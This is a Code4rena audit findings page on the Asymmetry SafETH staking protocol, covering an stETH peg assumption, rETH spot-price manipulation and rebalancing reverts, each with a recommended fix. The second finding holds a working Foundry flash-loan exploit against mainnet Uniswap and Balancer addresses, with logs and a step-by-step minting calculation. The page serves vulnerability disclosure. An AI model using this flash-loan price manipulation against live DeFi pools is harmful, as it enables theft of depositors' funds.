Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 19/246
Findings: 3
Award: $412.59
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0xMirce, 0xRajkumar, 0xepley, BPZ, Bahurum, Bauer, Co0nan, Emmanuel, Franfran, HollaDieWaldfee, IgorZuk, MiloTruck, NoamYakov, RedTiger, Ruhum, T1MOH, Tricko, ad3sh_, auditor0517, bin2chen, carrotsmuggler, eyexploit, handsomegiraffe, igingu, jasonxiale, koxuan, lukris02, monrel, nadin, peanuts, rbserver, rvierdiiev, shaka, sinarette, tnevler, y1cunhui
4.5426 USDC - $4.54
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L87 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L68-L75
The protocol treats 1 stETH = 1 ETH. In case the peg breaks, it will break the internal accounting of SafETH. That will cause subsequent depositors to receive less SafETH than they should.
In WstEth, ethPerDerivative()
doesn't convert stETH into ETH. It treats 1 stETH as 1 ETH:
function ethPerDerivative(uint256 _amount) public view returns (uint256) { return IWStETH(WST_ETH).getStETHByWstETH(10 ** 18); }
The adapters for rETH and frxETH both convert the liquid staking tokens into ETH using Curve or Uniswap:
// Reth.sol function ethPerDerivative(uint256 _amount) public view returns (uint256) { if (poolCanDeposit(_amount)) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); } // SfrxEth.sol function ethPerDerivative(uint256 _amount) public view returns (uint256) { uint256 frxAmount = IsFrxEth(SFRX_ETH_ADDRESS).convertToAssets( 10 ** 18 ); return ((10 ** 18 * frxAmount) / IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle()); }
In case stETH depegs from ETH, the contract will believe that it holds more ETH than it actually does. The stake()
function calculates the amount of ETH under management using ethperDerivative()
and the staking token balance for each protocol:
uint256 underlyingValue = 0; // Getting underlying value in terms of ETH for each derivative for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18;
But, because ethPerDerivative()
returns the stETH amount the value will be higher in case of it depegging.
Following scenario where this will cause an issue:
amount * totalSupply / totalAssets
).none
WstEth should convert stETH into ETH in ethPerDerivative()
.
#0 - c4-pre-sort
2023-04-04T17:16:25Z
0xSorryNotSorry marked the issue as duplicate of #588
#1 - c4-judge
2023-04-21T17:11:36Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-04-23T11:07:04Z
Picodes changed the severity to 3 (High Risk)
🌟 Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L211-L216 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L241 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156-L204 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L108-L119
The Reth adapter uses the Uniswap pool's spot price to determine the amount of ETH each rETH token is worth. Spot prices can be manipulated easily through flash loans. That allows an attacker to mint more SafETH than they should, resulting in the protocol being drained.
The following POC will show how an attacker can move the spot price of an Uniswap pool:
pragma solidity ^0.8.13; import "forge-std/Test.sol"; interface BalancerVault { function flashLoan(address recipient, address[] memory tokens, uint[] memory amounts, bytes memory userData) external; } interface IUniswapV3Pool { function slot0() external returns (uint160, int24, uint16, uint16, uint16, uint8, bool); } struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } interface ISwapRouter { function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); } interface ERC20 { function balanceOf(address _owner) external view returns (uint256 balance); function approve(address _spender, uint256 _value) external returns (bool success); } contract Attack is Test { function setUp() public {} BalancerVault constant vault = BalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); IUniswapV3Pool pool = IUniswapV3Pool(0xa4e0faA58465A2D369aa21B3e42d43374c6F9613); ISwapRouter router = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); ERC20 rETH = ERC20(0xae78736Cd615f374D3085123A210448E74Fc6393); ERC20 weth = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); function receiveFlashLoan( address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external { (uint160 initialPrice, , , , , , ) = pool.slot0(); // @audit buy all the WETH before depositing into SafETH rETH.approve(address(router), 1144e18); ExactInputSingleParams memory params = ExactInputSingleParams({ tokenIn: address(rETH), tokenOut: address(weth), fee: 500, recipient: address(this), deadline: block.timestamp, amountIn: 1144e18, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); router.exactInputSingle(params); console2.log(weth.balanceOf(address(this))); (uint160 newPrice, , , , , , ) = pool.slot0(); uint price0 = (initialPrice * (uint(initialPrice)) * (1e18)) >> (96 * 2); uint price1 = (newPrice * (uint(newPrice)) * (1e18)) >> (96 * 2); console2.log(price0, "init price"); console2.log(price1, "new price"); // execute the deposit. That will result in SafETH using the ETH you deposited to buy // rETH from the uniswap pool. That will move the price weth.approve(address(router), 1000e18); params = ExactInputSingleParams({ tokenIn: address(weth), tokenOut: address(rETH), fee: 500, recipient: address(this), deadline: block.timestamp, amountIn: 500e18, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); router.exactInputSingle(params); console2.log(rETH.balanceOf(address(this)), "rETH balance"); (uint160 newPrice2, , , , , , ) = pool.slot0(); uint price2 = (newPrice2 * (uint(newPrice2)) * (1e18)) >> (96 * 2); console2.log(price2, "price 2"); // this will revert anyways because we don't pay the balancer flashloan back. // For that we'd have to implement the withdrawal from SafETH revert(); } function testAttack() public { address[] memory tokens = new address[](1); tokens[0] = address(0xae78736Cd615f374D3085123A210448E74Fc6393); uint[] memory amounts = new uint[](1); amounts[0] = 1144e18; vault.flashLoan(address(this), tokens, amounts, ""); } }
The tests logs are:
Logs: 1214796745276741817014 WETH balance after first swap 1069150214709672918 init price 0 new price 473772392453803811213 rETH balance 1065792044637951758 price 2
Add the file to a basic foundry project and then run in with the following command: forge test --fork-url https://eth.llamarpc.com -vv --fork-block-number 16921080
Now, I'll explain how that maps to an attack on SafETH. First of all, we've to specify the vulnerability. In the Reth contract, the adapter implements two ways to exchange ETH into rETH. Either, by using the Rocket Pool contracts or through Uniswap:
function deposit() external payable onlyOwner returns (uint256) { // Per RocketPool Docs query addresses each time it is used address rocketDepositPoolAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketDepositPool") ) ); RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress ); if (!poolCanDeposit(msg.value)) { uint rethPerEth = (10 ** 36) / poolPrice(); uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) * ((10 ** 18 - maxSlippage))) / 10 ** 18); IWETH(W_ETH_ADDRESS).deposit{value: msg.value}(); uint256 amountSwapped = swapExactInputSingleHop( W_ETH_ADDRESS, rethAddress(), 500, msg.value, minOut ); return amountSwapped; } else { address rocketTokenRETHAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketTokenRETH") ) ); RocketTokenRETHInterface rocketTokenRETH = RocketTokenRETHInterface( rocketTokenRETHAddress ); uint256 rethBalance1 = rocketTokenRETH.balanceOf(address(this)); rocketDepositPool.deposit{value: msg.value}(); uint256 rethBalance2 = rocketTokenRETH.balanceOf(address(this)); require(rethBalance2 > rethBalance1, "No rETH was minted"); uint256 rethMinted = rethBalance2 - rethBalance1; return (rethMinted); } }
Generally, Uniswap will be used because the Rocket Pool deposit pool is already full. The pool used for that is https://info.uniswap.org/#/pools/0xa4e0faa58465a2d369aa21b3e42d43374c6f9613. It has only a limited amount of liquidity which makes spot price manipulation really easy. The adapter implements another function: ethPerDerivative()
. It's used to determine how much ETH one rETH is worth. And for that it uses the pool's spot price:
function ethPerDerivative(uint256 _amount) public view returns (uint256) { if (poolCanDeposit(_amount)) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); // this is just poolPrice() } function poolPrice() private view returns (uint256) { address rocketTokenRETHAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketTokenRETH") ) ); IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY); IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500) ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2); }
The amount of ETH each staking token is worth is used to determine the amount of ETH SafETH currently manages. That will be used to determine how much SafETH should be minted for a new deposit. Now, let's begin with the exploit.
(uint160 initialPrice, , , , , , ) = pool.slot0(); // @audit buy all the WETH before depositing into SafETH rETH.approve(address(router), 1144e18); ExactInputSingleParams memory params = ExactInputSingleParams({ tokenIn: address(rETH), tokenOut: address(weth), fee: 500, recipient: address(this), deadline: block.timestamp, amountIn: 1144e18, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); router.exactInputSingle(params); console2.log(weth.balanceOf(address(this)), "WETH balance after first swap"); (uint160 newPrice, , , , , , ) = pool.slot0(); uint price0 = (initialPrice * (uint(initialPrice)) * (1e18)) >> (96 * 2); uint price1 = (newPrice * (uint(newPrice)) * (1e18)) >> (96 * 2); console2.log(price0, "init price"); console2.log(price1, "new price");
Logs:
1214796745276741817014 WETH balance after first swap 1069150214709672918 init price 0 new price
That causes the new spot price to be 0
.
for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18;
To make it easier we say that it only has 2 derivatives (wstETH & rETH) and both are worth exactly 1 ETH (before rETH was manipulated). So the current state is:
When the stake()
function now determines the underlyingValue
it will result in 5,000 ETH instead of 10,000 ETH. rETH is not worth any ETH because the spot price of the pool was set to 0 by the attacker before calling.
That's used to determine the preDepositPrice
:
preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;
Which is: 10^18 * 5,000e18 / 10,000e18 = 5e17
Now, it stakes the ETH Alice deposits (1,000e18) into two liquid staking protocols:
uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system for (uint i = 0; i < derivativeCount; i++) { uint256 weight = weights[i]; IDerivative derivative = derivatives[i]; if (weight == 0) continue; uint256 ethAmount = (msg.value * weight) / totalWeight; // This is slightly less than ethAmount because slippage uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18; totalStakeValueEth += derivativeReceivedEthValue; }
For wstETH this will just result 500e18 wstETH which is worth 500e18 ETH. For rETH it's different. The ETH Alice deposits will be used to buy rETH from the pool we've just manipulated. A pool that has almost no ETH left but has a lot of rETH. That deposit results in ~520e18 rETH and a new spot price as seen in the POC above:
// execute the deposit. That will result in SafETH using the ETH you deposited to buy // rETH from the uniswap pool. That will move the price weth.approve(address(router), 1000e18); params = ExactInputSingleParams({ tokenIn: address(weth), tokenOut: address(rETH), fee: 500, recipient: address(this), deadline: block.timestamp, amountIn: 500e18, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); router.exactInputSingle(params); console2.log(rETH.balanceOf(address(this)), "rETH balance"); (uint160 newPrice2, , , , , , ) = pool.slot0(); uint price2 = (newPrice2 * (uint(newPrice2)) * (1e18)) >> (96 * 2); console2.log(price2, "price 2");
Logs:
473772392453803811213 rETH balance 1065792044637951758 price 2
So for depositing 500 ETH we receive 520 rETH. The protocol now determines how much ETH that is worth:
uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18;
With the new spot price (return value for derivative.ethPerDerivative()
) we get:
1.06e18 & 520e18 / 1e18 = ~551e18
That puts totalStakedValueETH
at 1051e18
. Now that we have totalStakedValueETH
and preDepositPrice
we can determine the amount of SafETH to mint:
uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; _mint(msg.sender, mintAmount);
1051e18 * 1e18 / 5e17 = 2102e18
So by depositing 1,000 ETH we got 2,102 SafETH instead of the expected 1,000 SafETH.
When unstaking, the amount of liquid staking tokens to burn is determined by the caller's share of the total SafETH supply:
uint256 safEthTotalSupply = totalSupply(); uint256 ethAmountBefore = address(this).balance; for (uint256 i = 0; i < derivativeCount; i++) { // withdraw a percentage of each asset based on the amount of safETH uint256 derivativeAmount = (derivatives[i].balance() * _safEthAmount) / safEthTotalSupply; if (derivativeAmount == 0) continue; // if derivative empty ignore derivatives[i].withdraw(derivativeAmount); }
Given that Alice holds 2,102 SafETH this will result in:
That will net Alice more than the original 1,000 ETH she deposited.
none
Don't use the spot price to get a pool's price. Instead, use the TWAP oracle: https://docs.uniswap.org/concepts/protocol/oracle
#0 - c4-pre-sort
2023-04-01T10:58:21Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T11:45:44Z
0xSorryNotSorry marked the issue as duplicate of #601
#2 - c4-judge
2023-04-21T16:11:08Z
Picodes marked the issue as duplicate of #1125
#3 - c4-judge
2023-04-21T16:13:59Z
Picodes marked the issue as satisfactory
407.9083 USDC - $407.91
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156-L204 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L152
rETH only allows a limited amount of ETH to be deposited directly. The Uniswap pool used to swap from ETH to rETH has very low liquidity. When SafETH is rebalanced, all of the ETH it holds is withdrawn and re-deposited to each protocol. Depending on the size of SafETH's ETH holdings, the deposit can exceed Rocket Pool's deposit limit and the Uniswap pool's liquidity. That will cause the rebalancing tx to revert. That would limit the protocol's exposure to RocketPool. While that may sound like a far-fetched issue because of the deposit size, a quick look at DefiLlama will show that it is quite reasonable:
Since SafETH allows users to diversify their ETH into two protocol's you would expect it to take liquidity away from both Lido and Rocket Pool. If SafETH holds 10k ETH (0.15% of Lido & Rocket Pool holdings) and distributes it 50/50, it will already reach Rocket Pool's deposit limit (given the deposit pool is empty).
At that point, it won't be able to rebalance the weights such that Rocket Pool would receive more than 5000 ETH because the transaction would revert.
When SafETH is rebalanced, all the ETH it holds is withdrawn and then redeposited
function rebalanceToWeights() external onlyOwner { uint256 ethAmountBefore = address(this).balance; for (uint i = 0; i < derivativeCount; i++) { if (derivatives[i].balance() > 0) derivatives[i].withdraw(derivatives[i].balance()); } uint256 ethAmountAfter = address(this).balance; uint256 ethAmountToRebalance = ethAmountAfter - ethAmountBefore; for (uint i = 0; i < derivativeCount; i++) { if (weights[i] == 0 || ethAmountToRebalance == 0) continue; uint256 ethAmount = (ethAmountToRebalance * weights[i]) / totalWeight; // Price will change due to slippage derivatives[i].deposit{value: ethAmount}(); } emit Rebalanced(); }
The Reth adapter implements two ways to deposit funds:
function deposit() external payable onlyOwner returns (uint256) { // Per RocketPool Docs query addresses each time it is used address rocketDepositPoolAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketDepositPool") ) ); RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress ); if (!poolCanDeposit(msg.value)) { uint rethPerEth = (10 ** 36) / poolPrice(); uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) * ((10 ** 18 - maxSlippage))) / 10 ** 18); IWETH(W_ETH_ADDRESS).deposit{value: msg.value}(); uint256 amountSwapped = swapExactInputSingleHop( W_ETH_ADDRESS, rethAddress(), 500, msg.value, minOut ); return amountSwapped; } else { address rocketTokenRETHAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketTokenRETH") ) ); RocketTokenRETHInterface rocketTokenRETH = RocketTokenRETHInterface( rocketTokenRETHAddress ); uint256 rethBalance1 = rocketTokenRETH.balanceOf(address(this)); rocketDepositPool.deposit{value: msg.value}(); uint256 rethBalance2 = rocketTokenRETH.balanceOf(address(this)); require(rethBalance2 > rethBalance1, "No rETH was minted"); uint256 rethMinted = rethBalance2 - rethBalance1; return (rethMinted); } }
poolCanDeposit()
checks whether the deposit amount is within bounds: deposit pool balance + amount less than 5000e18 and more than 0.01e18:
function poolCanDeposit(uint256 _amount) private view returns (bool) { address rocketDepositPoolAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketDepositPool") ) ); RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress ); address rocketProtocolSettingsAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked( "contract.address", "rocketDAOProtocolSettingsDeposit" ) ) ); RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface( rocketProtocolSettingsAddress ); return rocketDepositPool.getBalance() + _amount <= rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() && _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit(); }
Currently, the pool is already full (input is "rocketDepositPool"). So you won't be able to use that. Instead, the deposit has to be executed through Uniswap. But, the Uniswap pool doesn't have an infinite amount of liquidity. It's actually quite limited. Currently, it only holds 1.62k rETH and 1.28k ETH: https://info.uniswap.org/#/pools/0xa4e0faa58465a2d369aa21b3e42d43374c6f9613
Meaning, if you try to deposit more ETH than there is rETH in the pool the Uniswap path will also fail because of the slippage protection. The swap won't pass the minOut
check:
if (!poolCanDeposit(msg.value)) { uint rethPerEth = (10 ** 36) / poolPrice(); uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) * ((10 ** 18 - maxSlippage))) / 10 ** 18); IWETH(W_ETH_ADDRESS).deposit{value: msg.value}(); uint256 amountSwapped = swapExactInputSingleHop( W_ETH_ADDRESS, rethAddress(), 500, msg.value, minOut ); return amountSwapped;
To sum up, you're not able to deposit ETH that's worth more than ~1.5k rETH in one go. It strictly limits the protocol's exposure to Rocket Pool (2nd largest liquid staking protocol).
The withdrawal is also an issue. The Rocket Pool contracts don't have unlimited ETH to cover withdrawals. At most, you can only withdraw rETH worth RocketTokenRETH.getTotalCollateral()
: https://etherscan.io/address/0xae78736cd615f374d3085123a210448e74fc6393#code#F6#L139 At the time of writing that's 5537 ETH: https://etherscan.io/address/0xae78736cd615f374d3085123a210448e74fc6393#readContract#F8
So if the SafETH contract holds rETH worth more than 5537 ETH, the rebalancing function will revert.
none
Instead of depositing the whole amount at once, it should be done in multiple steps. The easiest solution would be to use a timelock that has the ability to freely move funds between the different protocols. That allows more granular rebalancing of funds, and transparency and time for users to react to changes in exposure to different protocols.
Another temporary solution is to use the Balancer pool. It has deeper liquidity: https://app.balancer.fi/#/ethereum/pool/0x1e19cf2d73a72ef1332c882f20534b6519be0276000200000000000000000112
#0 - c4-pre-sort
2023-04-04T20:39:09Z
0xSorryNotSorry marked the issue as duplicate of #673
#1 - c4-judge
2023-04-23T11:45:05Z
Picodes marked the issue as satisfactory